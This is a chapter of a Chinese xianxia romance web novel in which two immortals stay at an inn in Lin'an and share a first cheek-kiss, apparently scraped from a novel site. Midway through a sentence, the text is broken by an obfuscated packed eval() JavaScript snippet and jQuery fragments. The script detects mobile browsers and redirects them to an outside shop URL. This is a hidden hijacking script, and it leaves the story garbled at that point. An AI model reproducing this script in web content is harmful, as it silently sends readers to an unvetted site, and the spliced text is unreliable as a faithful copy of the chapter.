文趣网 > 其他小说 > 财神他总想让我吐钱 > 27. 临安初吻
    “老大为什么会想知道?”

    这理应只是白璎婪的私事,赵玄章这般发问,倒显得他不懂礼数。

    他不像会是不知分寸的人。

    白璎婪抬眼,前所未有地大胆直视面前之人。

    一双眼眸纯粹懵懂,澄澈如山间清泉,悄然在赵玄章心底,落下一颗连他自己都未曾察觉的种子。

    是啊,他究竟为何想知道?

    赵玄章默然不语,垂眸自袖中取出一枚温润暖玉,伸手握住白璎婪纤细白皙的手掌,一根根轻轻掰开她的手指,将暖玉稳稳放入她掌心。

    掌心陡然裹上融融暖意,白璎婪的心纷乱不已。

    赵玄章缓缓抬眸,“我希望,你能随我一同探索天下。”

    白璎婪慌忙抽回手,把暖玉塞他手心还回去,转身背对他,“我自然会陪着老大,陪你查案、为你分忧。”

    “此话当真?”

    “嗯!老大于我而言如同师长,我定会恭敬待你。”

    如同师长?

    不知为何,这话听了,只叫赵玄章心头莫名泛起一丝别扭。

    白璎婪不愿再纠结方才的话题,连忙岔开话头:“老大,我们何时动身?”

    *

    青瓦错落,流水绕桥,临安城内一派熙攘热闹。

    白璎婪目光不经意扫过赵玄章胸前,往日佩戴的玉牌不见踪影。

    “金宝不随我们一同下凡吗?”

    “他尚有事要处理,晚些时候再与我们会合。”

    长街之上人潮往来,货郎挑担沿街吆喝,绸缎庄伙计立在门前招揽宾客。河边有妇人浣衣,棒槌起落,水花四溅。

    赵玄章一袭青衫,墨发高束,走在前方。白璎婪扮作小厮模样,挽着两个小巧发髻,跟在他身侧。

    沿街商铺琳琅满目,满目繁华看得她目不暇接,小脑袋左右转个不停,活像只闯入闹市的好奇小兽。

    “老大,那是什么?”

    “糖葫芦。”

    白璎婪咽了咽口水:“能吃不?”

    “能。”

    “我要吃!”

    赵玄章一把将她拉回来,“先去客栈。”

    白璎婪扭过头去,“那个又是什么?”

    “桂花粉。”

    ”想吃!”

    赵玄章抿抿唇,“先去客栈。”

    白璎婪问他:“客栈是什么?”

    “歇脚留宿之地。”

    赵玄章脚步骤然一顿,她收势不及,险些撞上前去。

    眼前便是客来居,店面不算阔绰,门楣悬着黑底金字的匾额,门前两株桂树正值花期,清甜香气随风漫开。

    一位三十上下的妇人系着蓝布围裙,笑着迎了出来:“二位客官,是打尖还是住店?”

    “住店,两间上房。”

    白璎婪愣了愣,“老大,往日我们不都住在一起吗?为何要分两间?”

    从前她还是貔貅原形时,便卧在他榻边。化形之后虽分床而眠,也始终同在一处殿宇。

    在她心里,相伴而居本就是理所应当。

    赵玄章目光未落在她身上,淡淡道:“今时不同往日了。”

    白璎婪似懂非懂,低低应了声“哦”。

    老板娘手脚麻利地安排好房间:“两间上房,天字三号与四号,紧邻着。二位先歇息片刻,热水随后便送上来。”

    赵玄章走到窗边落座,取出卷宗细细翻阅。白璎婪坐不住,扒着窗沿望向街面,看着往来行人,满眼新奇。

    “老大,我们能出去逛逛吗?”

    赵玄章略一沉吟:“就在院中走走,切莫走远。”

    白璎婪应声,蹦蹦跳跳地下了楼。

    庭院里立着一棵老槐树,树下摆着几张竹椅。老板娘正晾晒床单,她凑上前想搭把手,反倒将湿床单扯得歪斜,凉水溅了满身。

    老板娘忍俊不禁:“小公子,你这哪里是帮忙,分明是添乱哟。”

    白璎婪抬手抹掉脸上水渍,窘迫地笑了:“我……我从没做过这些活计。”

    “瞧你模样秀气,倒像个小姑娘似的。”

    她蹲在一旁,看着老板娘动作利落,床单抖得平整舒展,忍不住问:“老板娘,你做这么多活,不会累吗?”

    “累自然是累的,可还有人比我更辛苦呢。”老板娘一边忙活,一边朝后厨扬了扬下巴。

    白璎婪顺着方向望去,灶房窗内,一名男子正低头揉面,额间沁出一层薄汗,举止沉默寡言。

    “那是老板吗?”

    “是啊,天不亮他便起身生火揉面、熬煮粥食,待到客人散去,又要洗刷碗碟,夜里还要对账,常常忙至深更半夜。”

    白璎婪称赞道:“你们看着很年轻。”

    老板娘手上的活不停,嘴角弯起温柔笑意:“我十六岁便嫁了他,那时家境贫寒,连份像样的聘礼都拿不出。他攒了半月工钱,给我买了一支银簪。”

    “我当时还劝他不必破费,他却说,一生只娶这一次,绝不能委屈了我。”

    白璎婪曾从金铃那听过凡间婚嫁之事,聘礼却是头一回听闻。

    她回想起赵玄章方才赠予的暖玉,那算聘礼吗?

    转念又摇摇头,他们并未成亲,想来是自己想多了。

    老板娘见她怔怔出神,打趣道:“怎么,小公子这是想着娶媳妇啦?”

    “才没有!”白璎婪脸颊一红,慌忙站起身拍了拍衣衫上的尘土。

    “年纪尚小,不急不急。”

    老板娘转身走进后厨,对着埋头忙活的丈夫低语几句,抬手拭去他额上汗珠,随即踮起脚尖,在他脸上轻轻一吻。

    “呀!”

    这般亲昵的举动,白璎婪从未见过,当即捂住双眼惊呼出声。

    夫妇二人闻声看来,见她红着脸背过身子,局促不已,老板娘爽朗笑起来:“哎哟,这小家伙,还没见过夫妻间的亲昵模样呢。”

    老板无奈摇头:“你呀,别打趣孩子了。”

    白璎婪快步回到楼上,赵玄章依旧埋首卷宗。

    他头也未抬,轻声问道:“方才楼下发生了何事?”

    “老大,老板和老板娘亲在一起了!”

    夫妻温存本是世间常态,落在心性纯然的白璎婪眼中,却成了一桩奇事。

    终归是涉世未深。

    赵玄章唇角强压下一抹笑意,“想来,是你看错了。”

    “我看得清清楚楚!”她不服气地辩解。

    话音刚落,赵玄章忽然单手抵在鼻尖,低低笑出声来。

    白璎婪当场愣住,满眼难以置信:“老大,你还是不信我吗?”

    真是个单纯的小家伙。

    赵玄章敛去笑意,嗓音低沉柔和。

    “是不是,像这样?”

    他微微倾身,缓缓凑近。

    丹唇外朗,皓齿内鲜,那张清俊面容愈发清晰。

    而在此时,赵玄章的靠近突然静止。

    像是某种想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642124|202454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    法被改变了。

    只见他嘴角微勾,修长白皙的双指先是贴在自己唇上,后轻轻落在白璎婪的左颊。

    蜻蜓点水,转瞬即逝。

    刹那间,白璎婪只觉浑身血液翻涌,热浪直冲头顶,脸颊烧得滚烫,整个人都僵在了原地。

    她抬眸,声音都带上了几分发颤:“老……老大?”

    “是不是?”

    白璎婪木然地点了点头,而后又摇头。

    样子是没错,可位置……

    她整个人心里却乱糟糟的,理不清思绪。

    赵玄章俶尔轻笑一声,起身道:“走吧,该出发了。”

    “……”

    *

    城东的织坊占据了半条街巷,白墙黑瓦,门前立着两尊石狮子,瞧着是规规矩矩的铺面。赵玄章并未上前惊扰,只带着她绕着四周缓步探查,默默记下周遭地形。

    返程途中途经一条小巷,一位老伯守着糖葫芦摊,身旁老妇人正低头为他缝补衣衫。

    白璎婪脚步顿住,再也挪不开步子。

    “老大……”

    赵玄章会意,上前买了一串糖葫芦。她咬着甜香的果子,目光落在那对老夫妇身上。老妇人将缝补好的衣衫披在老伯肩头,二人相视一笑,不言不语,却暖意融融。

    “老大,他们也是夫妻吗?”

    “嗯。”

    白璎婪好奇道:“可他们都不张嘴说话,好生奇怪。”

    赵玄章敛去目光,娓娓道来:“世间有种默契,纵然相对无言,也能读懂彼此心思。”

    白璎婪歪着脑袋思索片刻,忽然仰起脸看向他:“那老大,你知道我现在在想什么吗?”

    赵玄章垂眸,望见她唇角沾着点点糖渍,模样娇憨可爱。

    “想必是还惦记着再吃一串糖葫芦。”

    白璎婪瞪大双眼,满脸惊讶:“你竟一猜便中!”

    赵玄章笑而不语,转身向前走去。

    这小馋猫一嘴馋,神情便一模一样,他又怎会看不破。

    还是好好思量一番,待会儿该带她往何处散心玩乐才好。

    *

    二人折返客来居时,天色已很晚了。

    疯玩整日,白璎婪自是心满意足。她将一路搜罗来的小物件尽数摊在床上,盘腿坐于榻前,一件件细细把玩。

    憨态泥人、清脆拨浪鼓、精巧木偶、素面蒲扇,还有各式酸甜果脯……

    琳琅满目,看得她目不暇接。

    巷陌间,时有猫啼断断续续响起,间或混着几声犬吠。她闻声移步窗前,支着身子向外张望,想寻出叫声的源头。

    不多时,猫叫声悄然停歇,巷角那只小橘猫,终是寻到了吃食。

    白璎婪望着暗处,心中暗自思忖。

    自己化作白猫原形时,大抵也是这般模样。

    夜色渐浓,白璎婪躺在床榻上辗转难眠。身处天字四号房,赵玄章的房间就在隔壁。

    她把耳朵贴在墙壁上,却听不见半点声响,指尖下意识抚上被他吻过的脸颊,温热触感似仍停留在肌肤之上。

    天字三号房内,赵玄章倚在床头,手中捧着书卷,却一个字也入眼。

    一墙之隔,她辗转的轻响、偶尔溢出的软糯呓语,声声入耳。

    赵玄章猛地回过神,才惊觉自己早已将掌心覆于白墙上,仿佛想要追随那一道身影。

    他身形一僵,手如触电般收回,悬在半空的手顿了片刻,才缓缓垂落身侧。